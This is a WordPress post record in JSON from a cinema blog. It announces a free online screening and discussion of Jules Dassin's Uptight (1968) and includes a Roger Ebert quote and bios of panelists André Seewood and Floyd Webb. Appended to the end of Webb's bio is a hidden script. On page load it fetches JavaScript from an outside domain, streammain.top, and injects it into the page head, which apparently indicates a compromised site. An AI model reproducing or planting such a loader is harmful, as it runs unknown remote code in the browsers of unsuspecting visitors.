{"id":7351,"date":"2021-06-12T05:29:46","date_gmt":"2021-06-12T10:29:46","guid":{"rendered":"https:\/\/blackworldcinema.net\/blog\/?p=7351"},"modified":"2025-06-03T00:28:05","modified_gmt":"2025-06-03T05:28:05","slug":"7351","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2021\/06\/12\/7351\/","title":{"rendered":"August 1,\u00a03pm, 2021 Uptight (1968)"},"content":{"rendered":"<p>August 1,\u00a03pm, 2021<br \/>\n<strong>Uptight (1968) Jules Dassin, 1h 44 min<br \/>\n<a href=\"https:\/\/watchbeem.com\/cowatch\/the-informer-1935\">Free online Screening<\/a>\u00a0and Discussion<\/strong><\/p>\n<p>Intended as an updated version of <em>The Informer<\/em>, the first film in our series, <em>Uptight<\/em> (also known as <em>Up Tight!<\/em>) is a 1968 American drama film directed by Jules Dassin. Based also on the novel <em>The Informer<\/em> by Liam O&#8217;Flaherty, the setting was transposed from Dublin to Cleveland. The soundtrack was performed by Booker T and the MGs.<\/p>\n<p>&#8220;Jules Dassin&#8217;s &#8220;Up Tight&#8221; is a forthright treatment of black militancy. Somewhat to my surprise, it doesn&#8217;t chicken out. There&#8217;s no backsliding, toward a conciliatory moderate conclusion. The passions and beliefs of black militants are presented head-on, with little in the way of comfort for white liberals.&#8221;<br \/>\n<strong>&#8211; RogerEbert<\/strong><\/p>\n<p><strong><a href=\"https:\/\/blackworldcinema.net\/blog\/2021\/07\/16\/7351\/seewood-356px\/\" rel=\"attachment wp-att-7352\"><img decoding=\"async\" class=\"alignleft wp-image-7352\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px.png\" alt=\"\" width=\"104\" height=\"106\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-292x300.png 292w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-243x250.png 243w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-24x24.png 24w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-48x48.png 48w\" sizes=\"(max-width: 104px) 100vw, 104px\" \/><\/a>Panelist: Andr\u00e9 Seewood\u00a0<\/strong>is a multiple award winning independent filmmaker, writer and musician.\u00a0 He is the co-founder and former co-editor of FILM THREAT Magazine and a distinguished recipient of the Dennis Turner Memorial Film Studies Scholarship from Wayne State University.\u00a0\u00a0 He is the author of SCREENWRITING INTO FILM: Forgotten Methods &amp; New Possibilities (2006), SLAVE CINEMA: The Crisis of the African-American in Film 2nd Edition (2011) and (DISMANTLING) The Greatest Lie Ever Told to the Black Filmmaker: Collected Essays on Film (2015).\u00a0<b><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/blackworldcinema.net\/blog\/floydwebbbwc-356px\/\"><img decoding=\"async\" class=\"wp-image-7346 alignleft\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png\" alt=\"Floyd Webb - Black World Cinema\" width=\"91\" height=\"94\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-292x300.png 292w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-243x250.png 243w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-24x24.png 24w\" sizes=\"(max-width: 91px) 100vw, 91px\" \/><\/a><\/p>\n<p><span class=\"s1\"><b>Floyd Webb<br \/>\n<\/b><\/span>Floyd Webb is a filmmaker, curator and founder of the Blacklight Film Festival, Black World Cinema screening series and bwcTV.yv streaming channel. He was associate producer of Julie Dash&#8217;s Daughters of the dust, producer and director of music videos and commercials, and works in digital media production. His career as a cultural worker began during his participation as a 15 year old in 1969, with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rainbow_Coalition_(Fred_Hampton)\">Black Panther Party Rainbow Coalition<\/a> and co-directing the <a href=\"https:\/\/popularresistance.org\/the-black-panther-partys-multiracial-anti-fascism\/\">National Committee to Combat Fascism<\/a> in Maywood, IL.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>August 1,\u00a03pm, 2021 Uptight (1968) Jules Dassin, 1h 44 min Free online Screening\u00a0and Discussion Intended as an updated version of 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